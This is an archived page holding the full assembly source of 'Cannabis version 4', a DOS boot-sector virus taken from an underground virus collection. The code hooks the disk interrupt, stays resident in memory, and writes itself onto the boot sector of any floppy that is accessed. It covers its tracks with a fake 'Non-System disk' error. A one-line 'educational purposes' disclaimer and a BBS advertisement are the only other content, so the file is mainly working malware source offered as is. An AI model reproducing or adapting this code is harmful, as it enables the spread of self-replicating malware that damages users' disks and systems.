home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / c / cannab4.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  8.9 KB  |  265 lines

  1. ;****************************************************************************
  2.  
  3. ;*  Cannabis    version 4
  4.  
  5. ;*
  6.  
  7. ;*  Compile with TASM 2.0
  8.  
  9. ;*  (other assemblers will probably not produce the same result)
  10.  
  11. ;*
  12.  
  13. ;*  Disclaimer:
  14.  
  15. ;*  This file is only for educational purposes. The author takes no
  16.  
  17. ;*  responsibility for anything anyone does with this file. Do not
  18.  
  19. ;*  modify this file!
  20.  
  21. ;****************************************************************************
  22.  
  23.  
  24.  
  25. cseg            segment
  26.  
  27.                 assume  cs:cseg,ds:cseg,es:nothing
  28.  
  29.  
  30.  
  31.                 .RADIX  16
  32.  
  33.  
  34.  
  35. BASE            equ     7C00
  36.  
  37.  
  38.  
  39.                 org     0
  40.  
  41.  
  42.  
  43. begin:          jmp     start
  44.  
  45.  
  46.  
  47.                 org     3
  48.  
  49.  
  50.  
  51.                 db      'CANNABIS'              ;BIOS parameter block
  52.  
  53.                 dw      0200
  54.  
  55.                 db      2
  56.  
  57.                 dw      1
  58.  
  59.                 db      2
  60.  
  61.                 dw      112d
  62.  
  63.                 dw      720d
  64.  
  65.                 db      0FDh
  66.  
  67.                 dw      2
  68.  
  69.                 dw      9
  70.  
  71.                 dw      2
  72.  
  73.                 dw      0
  74.  
  75.  
  76.  
  77.                 org     3E
  78.  
  79.  
  80.  
  81. start:          cld                             ;initialise segments + stack
  82.  
  83.                 cli
  84.  
  85.                 xor     ax,ax
  86.  
  87.                 mov     ss,ax
  88.  
  89.                 mov     ds,ax
  90.  
  91.                 mov     sp,7C00
  92.  
  93.  
  94.  
  95.                 mov     bx,offset ni13+BASE     ;check int13 vector
  96.  
  97.                 mov     ax,ds:[4*13]
  98.  
  99.                 cmp     ax,bx
  100.  
  101.                 je      installed
  102.  
  103.  
  104.  
  105.                 mov     ds:[oi13+BASE],ax       ;save old vector
  106.  
  107.                 mov     ax,ds:[4*13+2]
  108.  
  109.                 mov     di,400
  110.  
  111.                 mov     ds:[oi13+2+BASE],ax
  112.  
  113.  
  114.  
  115.                 mov     ax,ds:[di+13]
  116.  
  117.                 dec     ax
  118.  
  119.                 mov     cl,6
  120.  
  121.                 mov     ds:[di+13],ax
  122.  
  123.  
  124.  
  125.                 shl     ax,cl
  126.  
  127.                 sub     ax,07C0
  128.  
  129.  
  130.  
  131.                 mov     cx,0200                 ;copy virus to top
  132.  
  133.                 mov     di,sp
  134.  
  135.                 mov     es,ax
  136.  
  137.                 mov     si,sp
  138.  
  139.         rep     movsb
  140.  
  141.  
  142.  
  143.                 mov     ds:[4*13+2],es          ;set new vector
  144.  
  145.                 mov     ds:[4*13],bx
  146.  
  147.  
  148.  
  149. installed:      xor     ax,ax
  150.  
  151.                 push    ss
  152.  
  153.                 pop     es
  154.  
  155.                 mov     bx,0078
  156.  
  157.                 lds     si,ss:[bx]              ;ds:si = int 1E (=table ptr)
  158.  
  159.                 push    ds
  160.  
  161.                 push    si
  162.  
  163.                 push    ss
  164.  
  165.                 push    bx
  166.  
  167.                 mov     cx,0bh
  168.  
  169.                 mov     di,7C3Eh                ;move table -> ds:7C3E
  170.  
  171.         rep     movsb
  172.  
  173.                 push    es
  174.  
  175.                 pop     ds
  176.  
  177.                 mov     cx,ds:[7C18]
  178.  
  179.                 mov     byte ptr [di-2], 0fh
  180.  
  181.                 mov     [bx+2],ax
  182.  
  183.                 mov     [di-7],cl
  184.  
  185.  
  186.  
  187.                 mov     word ptr [bx],7C3E
  188.  
  189.                 sti
  190.  
  191.                 int     13                      ;reset disk
  192.  
  193.                 jc      error
  194.  
  195.                 mov     cx,ds:[7C13]            ;number of sectors
  196.  
  197.                 mov     ds:[7C20],cx
  198.  
  199.                 mov     ax,ds:[7C16]            ;calculate root-entry (FAT)
  200.  
  201.                 shl     ax,1
  202.  
  203.                 inc     ax
  204.  
  205.                 mov     ds:[7C49],ax            ;save value
  206.  
  207.                 mov     ds:[7C50],ax
  208.  
  209.  
  210.  
  211.                 mov     ax,ds:[7C11]            ;calculate IO.SYS entry
  212.  
  213.                 mov     cl,4
  214.  
  215.                 shr     ax,cl
  216.  
  217.                 add     ds:[7C49],ax
  218.  
  219.  
  220.  
  221.                 mov     ax,ds:[7C50]
  222.  
  223.                 mov     bx,0500
  224.  
  225.                 call    readsector
  226.  
  227.                 jc      error
  228.  
  229.                 cmp     word ptr [bx], 'OI'     ;IO.SYS ?
  230.  
  231.                 jne     ibmtest
  232.  
  233.                 cmp     word ptr [bx+20], 'SM'  ;MSDOS.SYS ?
  234.  
  235.                 je      continue
  236.  
  237.                 jmp     short error
  238.  
  239.  
  240.  
  241. ibmtest:        cmp     word ptr [bx], 'BI'     ;IBMBIO.COM ?
  242.  
  243.                 jne     error
  244.  
  245.                 cmp     word ptr [bx+20], 'BI'  ;IBMDOS.COM ?
  246.  
  247.                 je      continue
  248.  
  249.  
  250.  
  251. error:          mov     si,offset errortxt+BASE   ;print error-message
  252.  
  253.                 call    print
  254.  
  255.                 xor     ax,ax
  256.  
  257.                 int     16                      ;wait for keypress
  258.  
  259.                 pop     si                      ;restore int 1E vector
  260.  
  261.                 pop     ds
  262.  
  263.                 pop     [si]
  264.  
  265.                 pop     [si+2]
  266.  
  267.                 int     19                      ;boot again...
  268.  
  269.  
  270.  
  271. continue:       mov     cx,3                    ;at ds:0700
  272.  
  273.                 mov     bx,0700
  274.  
  275.                 mov     ax,ds:[7C49]            
  276.  
  277.  
  278.  
  279. nextsec:        call    readsector
  280.  
  281.                 jc      error
  282.  
  283.                 add     bx,0200
  284.  
  285.                 inc     ax
  286.  
  287.                 loop    nextsec
  288.  
  289.  
  290.  
  291.                 mov     dl,0
  292.  
  293.                 mov     ch,ds:[7C15]            ;go to begin IO.SYS
  294.  
  295.                 mov     bx,ds:[7C49]
  296.  
  297.                 mov     ax,0
  298.  
  299.                 db      0EA, 0, 0, 70, 0
  300.  
  301.  
  302.  
  303.  
  304.  
  305. ;****************************************************************************
  306.  
  307. ;*              Read a sector
  308.  
  309. ;****************************************************************************
  310.  
  311.  
  312.  
  313. readsector:     push    cx
  314.  
  315.                 push    ax
  316.  
  317.  
  318.  
  319.                 div     byte ptr ds:[7C18]      ;al=sec/9 (0-160) ah=sec. (0-8)
  320.  
  321.                 cwd
  322.  
  323.                 inc     ah                      ;ah=1-9 (sector)
  324.  
  325.                 shr     al,1                    ;al=0-80 (track)
  326.  
  327.                 adc     dh,0                    ;dh=0/1 (head) dl=0 (drive)
  328.  
  329.                 xchg    ah,al
  330.  
  331.                 mov     cx,0201
  332.  
  333.                 xchg    ax,cx
  334.  
  335.                 int     13
  336.  
  337.  
  338.  
  339.                 pop     ax
  340.  
  341.                 pop     cx
  342.  
  343. return:         ret
  344.  
  345.  
  346.  
  347.  
  348.  
  349. ;****************************************************************************
  350.  
  351. ;*              Print message
  352.  
  353. ;****************************************************************************
  354.  
  355.  
  356.  
  357. print:          lodsb
  358.  
  359.                 or      al,al
  360.  
  361.                 jz      return
  362.  
  363.                 mov     ah,0Eh
  364.  
  365.                 mov     bx,7
  366.  
  367.                 int     10
  368.  
  369.                 jmp     short print
  370.  
  371.  
  372.  
  373.  
  374.  
  375. ;****************************************************************************
  376.  
  377. ;*              Int 13 handler
  378.  
  379. ;****************************************************************************
  380.  
  381.  
  382.  
  383. ni13:           push    ax
  384.  
  385.                 push    ds
  386.  
  387.                 cmp     ah,4                    ;funktion 0-4?
  388.  
  389.                 ja      cancel
  390.  
  391.                 cmp     ch,1
  392.  
  393.                 ja      cancel
  394.  
  395.                 test    dx,0FFFEh               ;drive A: or B: ? (head=0)
  396.  
  397.                 jnz     cancel
  398.  
  399.                 xor     ax,ax
  400.  
  401.                 mov     ds,ax
  402.  
  403.  
  404.  
  405. infect:         push    cx
  406.  
  407.                 push    bx
  408.  
  409.                 push    di
  410.  
  411.                 push    si
  412.  
  413.                 push    es
  414.  
  415.                 mov     ax,0201                 ;read bootsector at 7E00
  416.  
  417.                 mov     bx,7E00
  418.  
  419.                 mov     cx,1
  420.  
  421.                 push    cs
  422.  
  423.                 push    cs
  424.  
  425.                 pop     ds
  426.  
  427.                 pop     es
  428.  
  429.                 pushf
  430.  
  431.                 push    cs
  432.  
  433.                 call    orgint13
  434.  
  435.                 jc      exit
  436.  
  437.  
  438.  
  439.                 mov     di,7C0Bh                ;move BPB to virus
  440.  
  441.                 mov     cl,33
  442.  
  443.                 mov     si,7E0Bh
  444.  
  445.         rep     movsb
  446.  
  447.  
  448.  
  449.                 mov     ax,0301                 ;write virus to boot-sector
  450.  
  451.                 mov     bx,7C00
  452.  
  453.                 mov     cx,1
  454.  
  455.                 pushf   
  456.  
  457.                 push    cs
  458.  
  459.                 call    orgint13
  460.  
  461.  
  462.  
  463. exit:           pop     es
  464.  
  465.                 pop     si
  466.  
  467.                 pop     di
  468.  
  469.                 pop     bx
  470.  
  471.                 pop     cx
  472.  
  473.  
  474.  
  475. cancel:         pop     ds
  476.  
  477.                 pop     ax
  478.  
  479. orgint13:       jmp     dword ptr cs:[oi13+BASE]   ;original vector
  480.  
  481.  
  482.  
  483.  
  484.  
  485. ;****************************************************************************
  486.  
  487. ;*              Data
  488.  
  489. ;****************************************************************************
  490.  
  491.  
  492.  
  493. oi13            dw      ?,?                     ;original int 13 vector
  494.  
  495.  
  496.  
  497. errortxt        db      0Dh, 0Ah, 'Non-System disk or disk error'
  498.  
  499.                 db      0Dh, 0Ah, 'Replace and press a key when ready'
  500.  
  501.                 db      0Dh, 0Ah, 0
  502.  
  503.  
  504.  
  505.         
  506.  
  507.                 org     01FEh
  508.  
  509.  
  510.  
  511.                 db      55, 0AA
  512.  
  513.  
  514.  
  515. cseg            ends
  516.  
  517.                 end     begin
  518.  
  519.  
  520.  
  521. ;  ─────────────────────────────────────────────────────────────────────────
  522.  
  523. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  524.  
  525. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  526.  
  527. ;  ─────────────────────────────────────────────────────────────────────────
  528.  
  529.